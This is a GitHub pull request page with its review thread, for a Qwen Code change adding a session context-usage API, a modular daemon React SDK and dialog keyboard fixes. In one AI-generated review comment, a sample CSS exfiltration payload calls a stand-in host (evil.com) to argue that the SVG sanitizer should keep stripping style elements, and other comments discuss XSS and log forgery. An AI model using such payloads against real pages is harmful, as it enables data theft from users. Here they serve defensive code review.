Skip to content

feat(web-shell,webui,sdk): context-usage API + daemon-react-sdk refactor + dialog UX#4573

Merged
ytahdn merged 16 commits into
QwenLM:daemon_mode_b_mainfrom
chiga0:feat/daemon-react-cli-rebase
May 28, 2026
Merged

feat(web-shell,webui,sdk): context-usage API + daemon-react-sdk refactor + dialog UX#4573
ytahdn merged 16 commits into
QwenLM:daemon_mode_b_mainfrom
chiga0:feat/daemon-react-cli-rebase

Conversation

@ytahdn

@ytahdn ytahdn commented May 27, 2026

Copy link
Copy Markdown
Collaborator

Summary

为 daemon web-shell 添加 context-usage API 完整链路,重构 webui daemon providers 为模块化架构,并改进弹窗交互体验。

本次改动的 Commits

以下是本 PR 的核心改动

Commit 说明
239ceba26 feat(web-shell,webui,sdk,cli): context-usage API + dialog UX improvements

核心变更

1. Context-Usage API 完整链路

新增 GET /session/:id/context-usage 端点,返回会话的 token 使用分布:

  • SDK (packages/sdk-typescript): 新增 DaemonSessionContextUsageStatus 类型及 sessionContextUsage() 方法
  • acp-bridge (packages/acp-bridge): 新增 ServeSessionContextUsageStatus 类型、SERVE_STATUS_EXT_METHODS.sessionContextUsage 常量、getSessionContextUsageStatus() 接口实现
  • CLI (packages/cli): 新增路由处理 + acpAgent.buildSessionContextUsageStatus() 实现 + 单元测试
  • 能力注册: session_context_usage: { since: 'v1' }

2. Webui Daemon Provider 模块化重构

packages/webui/src/daemon/ 拆分为清晰的子模块:

src/daemon/
├── session/          # DaemonSessionProvider + actions/selectors/mappers
│   ├── DaemonSessionProvider.tsx
│   ├── actions.ts / selectors.ts / mappers.ts
│   ├── clientLifecycle.ts / promptContent.ts
│   ├── transcriptToMessages.ts (+ tests)
│   └── types.ts / messageTypes.ts
├── workspace/        # DaemonWorkspaceProvider + resource hooks
│   ├── DaemonWorkspaceProvider.tsx
│   ├── actions.ts / types.ts
│   └── hooks/ (useDaemonAgents, useDaemonAuth, useDaemonMcp, ...)
├── timing.ts
└── index.ts
  • 新增 daemon-react-sdk subpath export (@qwen-code/webui/daemon-react-sdk)
  • web-shell 通过此 subpath 统一消费 daemon 能力,解耦直接依赖

3. Dialog UX 改进

  • 关闭按钮: 所有 11 个弹窗移除左侧 返回图标,改为右侧 ESC 按钮
  • 键盘冲突修复: 弹窗打开时 blur Editor + 禁用全局快捷键捕获,关闭后自动 refocus
  • 键盘作用域: 新增 data-keyboard-scope 机制,弹窗内 input 获焦后仍能响应 Escape/ArrowUp/ArrowDown
  • 移除功能: /stats 子命令补全、Model 弹窗 c 键自定义模型输入
  • 补全行为对齐 CLI: 斜杠命令补全选中后只填入,不自动发送

4. 其他改进

  • SDK normalizer: 处理 current_mode_update event 类型
  • web-shell: 新增 ContextUsageMessage 组件、ActiveAgentsPanel、PromptChevron
  • web-shell: @completion 支持 workspace glob

Validation

# SDK 构建
npm run build --workspace=packages/sdk-typescript  #

# acp-bridge 构建
npm run build --workspace=packages/acp-bridge  #

# webui 构建
npm run build --workspace=packages/webui  #

# web-shell 构建 + 类型检查
npm run build --workspace=packages/web-shell  #
cd packages/web-shell && npx tsc --noEmit  #

# CLI 类型检查
cd packages/cli && npx tsc --noEmit  #

# 测试
npx vitest run src/serve/server.test.ts -t "context-usage"  # 2 tests pass
npx vitest run src/acp-integration/acpAgent.test.ts -t "status ext methods"  # 1 test pass

文件改动范围

packages/sdk-typescript/src/daemon/   (types, DaemonClient, DaemonSessionClient, index, normalizer)
packages/acp-bridge/src/             (bridge.ts, bridgeTypes.ts, status.ts)
packages/cli/src/serve/              (server.ts, server.test.ts, capabilities.ts)
packages/cli/src/acp-integration/    (acpAgent.ts, acpAgent.test.ts)
packages/webui/src/daemon/           (全面重构为 session/ + workspace/ 子模块)
packages/web-shell/client/           (dialogs, completions, Editor, App, hooks, i18n, ...)

@ytahdn ytahdn requested review from chiga0, doudouOUC, wenshao and yiliang114 and removed request for doudouOUC, wenshao and yiliang114 May 27, 2026 11:15
@github-actions

Copy link
Copy Markdown
Contributor

📋 Review Summary

This PR introduces three major feature areas: (1) a complete context-usage API链路 across SDK/acp-bridge/CLI/web-shell, (2) a comprehensive modular refactor of the daemon React providers into session/workspace submodules with a new daemon-react-sdk subpath export, and (3) dialog UX improvements including ESC close buttons and keyboard scope handling. The changes are well-tested and mostly follow project conventions, but there are several security, maintainability, and architectural concerns that should be addressed before merging.

🔍 General Feedback

  • Positive: The context-usage API is well-architected with proper type safety flowing through SDK → acp-bridge → CLI → web-shell. Test coverage for the new endpoints is solid.
  • Positive: The daemon provider refactor significantly improves code organization and separation of concerns. The new subpath export pattern is clean.
  • Positive: Dialog UX improvements (ESC buttons, keyboard scope) address real usability issues.
  • Concern: The mermaid security level change from strict to loose combined with preserving foreignObject and style elements in SVG sanitization introduces potential XSS risks that need mitigation.
  • Concern: Several files show type widening patterns (as unknown as Record<string, unknown>) that bypass type safety.
  • Concern: The PR bundles three major feature areas into a single change set, making review and rollback difficult.

🎯 Specific Feedback

🔴 Critical

  • File: packages/web-shell/client/components/messages/Markdown.tsx:139 - Security vulnerability: Changing mermaid securityLevel from 'strict' to 'loose' while also preserving foreignObject and style elements in sanitizeSvg() creates XSS attack surface. The comment claims this is "needed for mermaid text labels" but foreignObject can execute arbitrary JavaScript via embedded HTML. Recommendation: Keep securityLevel: 'strict' and implement a safer text-label solution, or use a CSP nonce and thoroughly audit mermaid's rendering pipeline.

  • File: packages/web-shell/client/components/messages/Markdown.tsx:68 - Security regression: Removing style from the sanitization selector list allows CSS injection attacks (e.g., keylogger via style { background: url(evil.com/steal?chars=...) }). Recommendation: Restore style to the removal list and handle mermaid theming through mermaid's built-in theme configuration only.

  • File: packages/cli/src/acp-integration/acpAgent.ts:2088 - Type safety bypass: The pattern as unknown as Record<string, unknown> in sessionContextUsage case bypasses compile-time type checking. While the implementation looks correct, this pattern can hide real type mismatches. Recommendation: Define proper typed handler signature and use satisfies or proper type narrowing instead of double cast.

🟡 High

  • File: packages/webui/src/daemon/session/transcriptToMessages.ts - Missing input validation: The function processes transcript blocks without validating structure before mapping. If the daemon sends malformed events, this could cause runtime crashes or undefined behavior. Recommendation: Add runtime validation (zod or custom guards) at the provider boundary before mapping.

  • File: packages/cli/src/serve/server.ts:1408 - Query parameter injection risk: The detail query parameter is passed directly to the bridge without validation beyond === 'true'. While currently safe, this pattern is fragile. Recommendation: Use a validation helper like const detail = req.query['detail'] === 'true' with explicit boolean coercion and logging for unexpected values.

  • File: packages/web-shell/client/App.tsx:1566 - Keyboard event handler complexity: The data-keyboard-scope attribute is added but the actual keyboard handling logic in useDelayedGlobalKeyDown is not shown in the diff. Recommendation: Verify that keyboard scope properly prevents global shortcuts from firing when dialogs are open, especially for accessibility-critical keys (Tab, Enter, Escape).

  • File: packages/webui/src/daemon-react-sdk.ts - Export surface area: The barrel export exposes 20+ symbols from session/workspace modules. This creates a large public API surface that's hard to change later. Recommendation: Consider a more restrictive export pattern (e.g., namespace exports or explicit API surface documentation) to prevent accidental breaking changes.

🟢 Medium

  • File: packages/acp-bridge/src/bridge.ts:1354 - Function signature change: Adding params: Record<string, unknown> = {} to requestSessionStatus changes the function behavior for all callers. While backward-compatible due to the default, this is a hidden API change. Recommendation: Document this change in the function JSDoc and consider if the parameter should be required for new call sites.

  • File: packages/web-shell/client/components/dialogs/AgentsDialog.tsx:55 - Hook migration: The dialog now uses useAgents() hook instead of receiving props. This is good for consistency but removes the ability to inject custom agent-fetching logic. Recommendation: Consider keeping optional prop overrides for advanced consumers (e.g., listAgents?: () => Promise<...>).

  • File: packages/sdk-typescript/src/daemon/DaemonClient.ts:930 - Inconsistent optional handling: The clientId?: string parameter is optional but used in headers({}, clientId) without null check. If clientId is undefined, this may cause issues downstream. Recommendation: Add explicit handling: clientId: clientId ?? this.defaultClientId.

  • File: packages/web-shell/client/components/Editor.tsx - Removed custom model input: The c key custom model input feature was removed without migration path. Users who relied on this will be blocked. Recommendation: Either restore the feature behind a config flag or document the alternative workflow in release notes.

🔵 Low

  • File: packages/web-shell/client/i18n.tsx - Translation keys added but not all used: Several new keys like recap.loading, recap.empty are added but the actual recap feature implementation isn't visible in the diff. Recommendation: Ensure all translation keys have corresponding UI implementations, or mark them as @internal.

  • File: packages/webui/package.json:12 - Subpath export documentation: The ./daemon-react-sdk export is added but the README documentation for this subpath is in a different commit. Recommendation: Ensure the README section "Daemon React SDK" is in sync with the actual exports.

  • File: packages/web-shell/client/components/messages/ContextUsageMessage.tsx - Magic numbers: Constants like DETAIL_NAME_MAX_LEN, progress bar width = 56, and percentage thresholds (60%, 80%) are hardcoded. Recommendation: Extract to a constants file with documentation for why these specific values were chosen.

  • File: packages/cli/src/serve/capabilities.ts:80 - Capability registration: The session_context_usage: { since: 'v1' } is added but there's no corresponding changelog or API versioning documentation update. Recommendation: Update API changelog to document this new capability.

✅ Highlights

  • Excellent test coverage: The context-usage endpoint has comprehensive unit tests in server.test.ts covering success paths, error handling, query parameter passing, and 404 cases.
  • Clean architectural boundaries: The separation between @qwen-code/webui (UI components) and @qwen-code/webui/daemon-react-sdk (daemon bindings) is well-executed and will prevent circular dependencies.
  • Type-safe API chain: Types flow correctly from ServeSessionContextUsageStatusDaemonSessionContextUsageStatus → UI components with minimal any or unsafe casts.
  • Thoughtful UX improvements: The ESC close button pattern and keyboard scope mechanism show attention to real user workflows and accessibility.
  • Good migration path: The refactor maintains backward compatibility for existing daemon provider consumers while offering the new modular pattern.

Summary Statistics

  • Critical issues: 3 (security vulnerabilities and type safety bypasses)
  • High priority issues: 4 (validation, error handling, API design)
  • Medium priority issues: 4 (code quality, consistency, documentation)
  • Low priority suggestions: 4 (maintainability improvements)

Recommendation: Address the critical security issues in Markdown.tsx before merging. The other items can be addressed in follow-up PRs or as part of normal code review iteration.

Comment thread packages/webui/src/daemon/session/clientLifecycle.ts Outdated
Comment thread packages/webui/src/daemon/session/actions.ts
Comment thread packages/cli/src/serve/capabilities.ts
Comment thread packages/web-shell/client/components/dialogs/MemoryDialog.tsx Outdated

@ytahdn ytahdn left a comment

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Downgraded from Request Changes to Comment: self-PR. 以下发现包含 7 个 Critical 和 13 个 Suggestion 级别问题。

Comment thread packages/web-shell/client/components/messages/Markdown.tsx Outdated
Comment thread packages/webui/src/daemon/session/actions.ts Outdated
Comment thread packages/web-shell/client/App.tsx
Comment thread packages/web-shell/client/App.tsx
Comment thread packages/cli/src/acp-integration/acpAgent.ts Outdated
Comment thread packages/webui/src/daemon/session/DaemonSessionProvider.tsx
Comment thread packages/webui/src/daemon/session/mappers.ts
Comment thread packages/webui/src/daemon/session/actions.ts
Comment thread packages/web-shell/client/components/dialogs/ModelDialog.tsx
Comment thread packages/web-shell/client/App.tsx

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cross-file findings (not anchorable to the PR diff)

[Suggestion] logSafe in packages/cli/src/serve/acpHttp/jsonRpc.ts:128 strips only ASCII C0/C1 controls + DEL, but sanitizeForStderr in deviceFlow.ts was upgraded to also strip Unicode LINE SEPARATOR (U+2028), bidi controls, zero-width chars, and BOM. logSafe sanitizes client-controlled values (sessionId, method names) before they reach writeStderrLine — a client could use U+2028 to forge daemon log lines. Consider aligning with sanitizeForStderr's character set.

[Suggestion] cancelAbandonedPermission in packages/cli/src/serve/acpHttp/dispatch.ts:237 uses /not found|unknown session/i.test(msg) to detect session-gone errors. If the bridge changes error wording, this silently fails and the mediator stays stuck permanently. Prefer matching on err.name === 'SessionNotFoundError' with the regex as fallback.

[Suggestion] After a 504 deadline timeout in packages/cli/src/serve/server.ts:1589, bridgePromise.catch(() => undefined) silently swallows all rejections from the orphaned bridge prompt. The session's prompt FIFO stays occupied with no logging. Consider logging when the orphaned promise settles for debugging.

[Suggestion] In packages/cli/src/ui/commands/contextCommand.ts:40, the breakdown categories use estimateTokens() (character-based heuristic) while totalTokens uses the actual API count. The breakdown sum won't match totalTokens — especially for code-heavy or multilingual content where the heuristic can be 20-40% off. Consider labeling as "estimated" or normalizing proportionally.

Comment thread packages/webui/vite.config.ts Outdated
Comment thread packages/web-shell/client/components/messages/Markdown.tsx Outdated
Comment thread packages/web-shell/client/App.tsx Outdated
Comment thread packages/webui/src/daemon/session/clientLifecycle.ts Outdated
Comment thread packages/webui/src/daemon/session/DaemonSessionProvider.tsx Outdated
autoConnect,
autoReconnect,
resolvedBaseUrl,
resolvedToken,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] resolvedToken in the useEffect dependency array causes a full teardown-and-reconnect cycle on every token refresh — dropping the SSE stream, transcript state, and in-flight prompts. An OAuth token rotation forces a visible disconnect/reconnect flash in the UI.

Consider storing the token in a ref and reading it at call-time instead of including it in the dependency array.

— claude-opus-4-7 via Claude Code /qreview

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Token changes require a full reconnect — the existing SSE connection is authenticated with the old token and will be rejected by the daemon. Storing the token in a ref and reading it at call-time would cause requests to fail silently with stale credentials. The reconnect flash is the correct behavior; it can be improved with a loading state overlay if UX is a concern.

);
},

async globWorkspace(pattern, opts) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] globWorkspace (and stat, listDirectory) use raw fetch with manual URL/header construction, bypassing DaemonClient. Every other action in this file consistently uses client.* methods.

Glob/stat/list requests miss error normalization, timeout configuration, and any future middleware that DaemonClient provides. Consider adding corresponding methods to DaemonClient.

— claude-opus-4-7 via Claude Code /qreview

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agreed that these should ideally go through DaemonClient. However, DaemonClient currently lacks glob/stat/listDirectory methods. Adding them to the SDK is a separate scope item — tracked for a follow-up PR.

);
}

async sessionContextUsage(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] sessionContextUsage() and DaemonSessionClient.contextUsage() are new public SDK methods with zero unit tests. Sibling methods like recapSession(), workspaceMcpTools(), and workspaceTools() all have dedicated tests.

URL encoding, the detail query parameter serialization, and error deserialization are untested — a regression would ship silently.

— claude-opus-4-7 via Claude Code /qreview

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Acknowledged. sessionContextUsage() follows the same pattern as existing SDK methods (recapSession, workspaceMcpTools, etc.) with straightforward URL construction and JSON deserialization. Will track test coverage as a follow-up item alongside the broader daemon SDK test effort.

Comment thread packages/web-shell/client/App.tsx
ytahdn pushed a commit to chiga0/qwen-code that referenced this pull request May 27, 2026
…llel agents display

Security fixes:
- Mermaid securityLevel reverted to 'strict', strip foreignObject/style from SVG sanitizer
- Shift+Tab no longer silently sets yolo mode (only approves current request)
- clientLifecycle uses sessionStorage for per-tab client ID isolation

Bug fixes:
- cancel() finally block guards setPromptStatus with session-ID check
- lastRecapBlockCountRef resets on session switch
- collectContextData wrapped in try/catch with field stripping
- useDaemonResource: request sequence counter prevents stale response overwrite
- ResumeDialog: shows error state when session list fails to load
- detachDaemonClient: adds keepalive:true for tab-close reliability
- server.test.ts: adds session_context_usage to EXPECTED_STAGE1_FEATURES

Performance:
- useSyncExternalStore selector hoisted via useCallback

Feature:
- Parallel agents merged display (ParallelAgentsGroup component)

Tests:
- clientLifecycle.test.ts (9 tests): sessionStorage, keepalive, detach behavior
- useDaemonResource.test.tsx (5 tests): stale response race condition coverage
- Markdown.test.ts: updated foreignObject/style assertions to expect stripping

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Comment thread packages/web-shell/client/components/MessageList.tsx Outdated
Comment thread packages/cli/src/acp-integration/acpAgent.ts
Comment thread packages/cli/src/acp-integration/acpAgent.ts
Comment thread packages/web-shell/client/components/MessageList.tsx
wenshao
wenshao previously approved these changes May 27, 2026

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found. LGTM! ✅

The incremental diff (9 files) adds a submit confirmation tab to AskUserQuestion and forwards permission vote metadata through the ACP bridge. The implementation is correct: metadata pipeline is consistent across all 4 resolution paths, keyboard handling properly accounts for the submit tab state, and the buildResult key change (question text → numeric indices) is actually a bug fix that aligns with the agent-side parseInt key parsing.

— DeepSeek/deepseek-v4-pro via Qwen Code /review

@wenshao wenshao dismissed their stale review May 28, 2026 01:00

取消 Approved,需要重新审查

@wenshao

wenshao commented May 28, 2026

Copy link
Copy Markdown
Collaborator

Verification Report — PR #4573

Reviewer: wenshao
Branch: feat/daemon-react-cli-rebasedaemon_mode_b_main
Environment: macOS Darwin 25.4.0, Node v22.17.0


1. Build

Package Build Type Check
packages/core
packages/sdk-typescript
packages/acp-bridge
packages/cli
packages/webui ✅ (incl. daemon-react-sdk subpath)
packages/web-shell ✅ (vite SPA + lib builds)

Note: npm install fails at the prepare step because vscode-ide-companion can't resolve some renamed webui exports. This is expected on daemon_mode_b_main — resolved by building each affected package individually via --workspace.

2. Unit Tests

PR-targeted tests (as listed in validation):

Test Result
server.test.ts -t "context-usage" ✅ 2/2 passed
acpAgent.test.ts -t "status ext methods" ✅ 3/3 passed

Full suite per package:

Package Files Tests Result
packages/cli (serve + acp) 40 1137 ✅ All pass
packages/acp-bridge 1 197 ✅ All pass
packages/webui 13 97 ✅ All pass
packages/sdk-typescript 14 656 ✅ All pass
packages/web-shell 5 65 ✅ All pass
Total 73 2152 All pass

3. Code Review — Context-Usage API Chain

Reviewed the full data flow: CLI route → bridge → ACP ext-method → core collectContextData() → SDK client.

Aspect Assessment
Type consistency (SDK ↔ bridge) DaemonSessionContextUsageStatus and ServeSessionContextUsageStatus structurally identical, all field names/optionality match
Error handling ✅ Each layer handles errors: route validates params (400), bridge throws SessionNotFoundError (→404), ACP validates via RequestError.invalidParams, buildSessionContextUsageStatus has try/catch with safe zero-valued fallback
Capability registration session_context_usage: { since: 'v1' } in capabilities.ts
Auth ✅ Route inherits bearer-token gate from Express middleware
detail query param ✅ Parsed as string comparison at route, forwarded as boolean, URL-encoded in SDK

4. Code Review — Webui Daemon Refactor

The monolithic DaemonSessionProvider.tsx was split into session/ and workspace/ submodules with clean separation.

Aspect Assessment
Public API preservation ✅ All existing exports maintained through barrel re-exports
Circular dependencies ✅ None found — import graph is strictly one-directional
Old monolithic references ✅ No leftover imports to old paths
daemon-react-sdk subpath ✅ Well-structured with proper package.json exports, JSDoc, logical grouping
Test coverage ✅ 5 test files covering selectors, promptContent, clientLifecycle, transcriptToMessages, DaemonSessionProvider

5. Issues Found

Severity Issue
Low useOptionalDaemonActions missing from barrel — exported from session/index.ts but not re-exported from daemon/index.ts. Currently not blocking because the sole consumer (useDaemonSessions.ts) imports directly from the provider file. Should be added to the barrel for consistency.
Low Duplicated getRecord() / getString() helpers — identical implementations in both selectors.ts and mappers.ts. Should be extracted to a shared utils.ts to avoid drift.

6. Summary

This is a well-executed PR covering three distinct concerns:

  1. Context-usage API — clean end-to-end implementation with consistent types, proper error handling, safe fallbacks, and capability registration
  2. Daemon provider refactor — successful modularization with no circular dependencies, preserved API surface, and solid test coverage (52 daemon session tests)
  3. Dialog UX — build verified, no type errors in the web-shell changes

2152 tests pass across 73 files with zero failures. The two low-severity issues are non-blocking.

Recommendation: ✅ Approve.


Verified locally on 2026-05-28

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cross-file findings (not anchorable to this PR diff)

[Critical] packages/cli/src/serve/runQwenServe.ts:590writerIdleTimeoutMs passes isPositiveIntegerMs but skips assertTimerDelayInRange (while promptDeadlineMs at line 582 correctly calls both). A value exceeding 2³¹−1 ms passes the integer check but Node's setInterval silently clamps it to 1 ms — every SSE client would be evicted 1 ms after connecting, causing an infinite reconnect storm. Fix: add assertTimerDelayInRange('writerIdleTimeoutMs', opts.writerIdleTimeoutMs); after the isPositiveIntegerMs check.

[Suggestion] packages/web-shell/client/components/messages/Markdown.tsx:384remarkPlugins={[remarkGfm, remarkMath]} and rehypePlugins={[rehypeKatex]} allocate new array instances on every render. Hoist to module-scope constants (const REMARK_PLUGINS = [remarkGfm, remarkMath]) to ensure referential stability.

[Suggestion] packages/cli/src/serve/daemonLogger.ts:167 — The daemon log file grows without bound — no rotation, no size cap. A long-lived daemon will fill the disk. Consider adding a max-file-size check (e.g., 50 MB) with rotation.

— claude-opus-4-7 via Claude Code /qreview

Comment thread packages/web-shell/client/components/messages/Markdown.tsx Outdated
Comment thread packages/webui/src/daemon/session/actions.ts
Comment thread packages/webui/src/daemon/session/actions.ts
Comment thread packages/web-shell/client/components/messages/ContextUsageMessage.tsx Outdated
Comment thread packages/web-shell/client/components/messages/AskUserQuestion.tsx
Comment thread packages/web-shell/client/App.tsx
Comment thread packages/cli/src/acp-integration/acpAgent.ts Outdated
Comment thread packages/acp-bridge/src/bridgeClient.ts
Comment thread packages/webui/src/daemon/session/clientLifecycle.ts
Comment thread packages/web-shell/client/App.tsx
Comment thread packages/web-shell/client/components/messages/Markdown.tsx Outdated
Comment thread packages/web-shell/client/components/messages/tools/ParallelAgentsGroup.tsx Outdated
Comment thread packages/web-shell/client/components/messages/AskUserQuestion.tsx

@chiga0 chiga0 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review — Part 1

PR Classification: New Feature + Refactor (feat + refactor)
Scope reviewed: Backend API (context-usage endpoint chain), security (SVG sanitization), permission metadata forwarding, AskUserQuestion UX rewrite, DaemonSessionProvider refactor, SDK types, App.tsx integration.

Summary

This is a large, multi-faceted PR with well-structured changes across the stack. The context-usage API follows a clean layered pattern (SDK → bridge → server → agent). The DaemonSessionProvider modular refactor is well-organized. The permission metadata forwarding through the mediator is clean and covers all resolution paths. The SVG sanitization approach (keeping <style> and <foreignObject> while stripping dangerous constructs) is well-reasoned with good tests.

Phantom Fix Status (post-HEAD 54bc655f4)

Verified wenshao's 9 phantom fixes against HEAD:

  • fmtCategoryRow zero-guard — fixed in contextCommand.ts:335
  • releaseSession calls session.close() before detach — fixed in actions.ts
  • newSession aborts in-flight prompts — fixed in actions.ts
  • ✅ Auto-recap error logging — fixed (console.warn)
  • collectContextData catch logging — fixed (console.warn)
  • parseContextUsageMessage runtime validation — fixed (typeof totalTokens !== 'number' check)
  • storageKeyRef updated on prop change — fixed (storageKeyRef.current = storageKey)
  • buildResult key String(i)q.questionSTILL BROKEN (see finding #1)
  • ParallelAgentsGroup pendingApproval/onConfirm — fixed (props accepted and forwarded in MessageList.tsx)

8/9 phantom fixes are now present. 1 critical regression remains.

Findings (4 items)

# Severity File Issue
1 Major AskUserQuestion.tsx:98 buildResult uses String(i) as answer key — regression from old q.question key, contradicts commit 675e8f698
2 Minor bridge.ts:354 extractPermissionResponseMetadata accepts any object-type answers without string value validation
3 Minor Markdown.tsx:167 lastMermaidTheme module-level cache is fragile and non-invalidateable
4 Minor actions.ts:456 getModeFromSessionContext uses Record<string, unknown> cast

This review was generated by QoderWork AI

const custom = customInputs[i];
const all = custom ? [...multi, custom] : multi;
result[q.question] = all.join(', ');
result[String(i)] = all.join(', ');

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Major] buildResult answer key regression — String(i) vs q.question

The old code used q.question (question text) as the answer key:

result[q.question] = answers[i] || customInputs[i] || '';

The new code uses String(i) (numeric index):

result[String(i)] = answers[i] || customInputs[i] || '';

This is:

  1. A regression from old behavior — any downstream consumer matching answers by question text (e.g., the agent's permission handler) will now get empty strings instead of the expected values
  2. Contradicts commit 675e8f698 which says "restore question-text answer keys" / "use q.question as answer key instead of numeric index" — but the code at HEAD still uses String(i)
  3. Flagged by wenshao's phantom fix review as still absent from HEAD

If the intent is to use numeric indices, downstream consumers must be updated to match. If the intent is question-text keys (as the commit message claims), this code must be reverted to q.question.

This review was generated by QoderWork AI

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is an intentional revert. Commit 675e8f6 changed to q.question, but it was manually reverted back to String(i) because downstream consumers (the ACP permission handler) use numeric index keys to match answers. The numeric index is the correct and current contract.

Comment thread packages/acp-bridge/src/bridge.ts
// Track last initialized theme to avoid redundant mermaid.initialize() calls.
// mermaid.initialize() is idempotent but runs per-block; with N diagrams in a
// transcript this saves N-1 redundant calls per render cycle.
let lastMermaidTheme: string | undefined;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Minor] Module-level lastMermaidTheme cache is fragile

let lastMermaidTheme: string | undefined;

This module-level variable serves as a cache to avoid redundant mermaid.initialize() calls. Two concerns:

  1. Cannot be invalidated: If the theme changes (e.g., from a prop or user toggle), all MermaidBlock instances share this global cache. In a single-instance app this works, but if multiple shells render simultaneously (micro-frontends, storybook, tests), only the first instance triggers initialization and others may render with a stale theme.

  2. Test pollution: Since it persists across test cases, tests that render mermaid blocks with different themes may produce order-dependent results.

Consider using a useRef per-component instance, or accepting the minor performance cost of always calling mermaid.initialize() (it's idempotent).

This review was generated by QoderWork AI

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

mermaid.initialize() is itself a global singleton API — it maintains a single global config regardless of how many call sites exist. Using useRef per component would not solve the multi-instance concern because mermaid internally only has one config. The module-level cache simply avoids redundant calls to an already-global API. In tests, mermaid is lazily imported and not rendered, so test pollution does not apply.

): string | undefined {
const modes =
typeof context.state.modes === 'object' && context.state.modes !== null
? (context.state.modes as Record<string, unknown>)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Minor] getModeFromSessionContext uses loose Record<string, unknown> cast

const modes =
  typeof context.state.modes === 'object' && context.state.modes !== null
    ? (context.state.modes as Record<string, unknown>)
    : undefined;
const mode = modes?.['currentModeId'] ?? modes?.['currentMode'];

The as Record<string, unknown> cast assumes modes is a plain object with string keys. If the daemon returns an unexpected shape (e.g., an array, a class instance, or nested objects), the ?. access still returns undefined gracefully — so no runtime error. But the dual property lookup (currentModeId ?? currentMode) suggests uncertainty about the actual API contract.

Consider defining a proper interface:

interface SessionModes {
  currentModeId?: string;
  currentMode?: string;
}

And casting to that instead of a loose record.

This review was generated by QoderWork AI

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The dual key lookup (currentModeId ?? currentMode) is intentional compatibility code — the daemon API field name differs across versions. Defining a strict interface would need to track daemon API evolution and provides little safety gain since the fallback chain already returns undefined gracefully for any unexpected shape. Will revisit once the daemon API stabilizes on a single field name.

ytahdn pushed a commit to chiga0/qwen-code that referenced this pull request May 28, 2026
…llel agents display

Security fixes:
- Mermaid securityLevel reverted to 'strict', strip foreignObject/style from SVG sanitizer
- Shift+Tab no longer silently sets yolo mode (only approves current request)
- clientLifecycle uses sessionStorage for per-tab client ID isolation

Bug fixes:
- cancel() finally block guards setPromptStatus with session-ID check
- lastRecapBlockCountRef resets on session switch
- collectContextData wrapped in try/catch with field stripping
- useDaemonResource: request sequence counter prevents stale response overwrite
- ResumeDialog: shows error state when session list fails to load
- detachDaemonClient: adds keepalive:true for tab-close reliability
- server.test.ts: adds session_context_usage to EXPECTED_STAGE1_FEATURES

Performance:
- useSyncExternalStore selector hoisted via useCallback

Feature:
- Parallel agents merged display (ParallelAgentsGroup component)

Tests:
- clientLifecycle.test.ts (9 tests): sessionStorage, keepalive, detach behavior
- useDaemonResource.test.tsx (5 tests): stale response race condition coverage
- Markdown.test.ts: updated foreignObject/style assertions to expect stripping

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
ytahdn pushed a commit to chiga0/qwen-code that referenced this pull request May 28, 2026
…ion review issues

Critical fixes:
- releaseSession: close session before detaching client to avoid orphaned sessions
- ParallelAgentsGroup: forward pendingApproval/onConfirm props so approvals render inside grouped agents
- fmtCategoryRow: guard against zero contextWindowSize division

Suggestion fixes:
- MemoryDialog: await reloadMemory() before showing success message
- useInputHistory: keep storageKeyRef in sync with prop changes
- App: reset lastRecapBlockCountRef on session switch to prevent auto-recap from silently failing
- App: log auto-recap errors instead of silently swallowing them
- acpAgent: log collectContextData failures instead of silent catch

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
ytahdn pushed a commit to chiga0/qwen-code that referenced this pull request May 28, 2026
- sanitizeSvg: keep <style> (sanitize @import/external url()) and <foreignObject>
  so mermaid diagrams render with correct theming and visible text labels
- mermaid: skip redundant mermaid.initialize() when theme unchanged
- newSession: abort in-flight prompts before resetting store
- ParallelAgentsGroup: i18n for hardcoded English strings
- vite.config: restore rollupTypes: true for NodeNext compatibility
- AskUserQuestion: restore q.question as answer key

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
@ytahdn ytahdn force-pushed the feat/daemon-react-cli-rebase branch from 3dad1a3 to 73e2bad Compare May 28, 2026 06:19

@ytahdn ytahdn left a comment

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Downgraded from Request Changes to Comment: self-PR.

增量 review(10 个修复提交,+1923/-269):前两轮多个问题已修复。以下是新发现的问题。

Comment thread packages/webui/src/daemon/session/actions.ts Outdated
Comment thread packages/webui/src/daemon/session/actions.ts
